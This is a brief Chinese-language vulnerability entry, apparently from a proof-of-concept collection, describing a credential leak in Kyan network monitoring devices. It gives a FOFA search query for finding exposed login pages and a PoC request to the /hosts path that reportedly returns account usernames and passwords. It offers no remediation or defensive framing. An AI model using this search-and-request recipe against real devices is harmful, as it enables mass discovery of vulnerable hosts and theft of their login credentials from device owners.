Kyan 网络监控设备账号密码泄漏漏洞.md

329 B / 2021-04-21 09:23:46

    # Kyan 网络监控设备 账号密码泄漏漏洞

## 漏洞复现

FOFA: title="platform - Login"

`登录界面如下`

![](resource/Kyan-网络监控设备-账号密码泄漏漏洞/media/1.jpg)

`POC`

http://xxx.xxx/hosts

![](resource/Kyan-网络监控设备-账号密码泄漏漏洞/media/2.jpg)

成功获取账号密码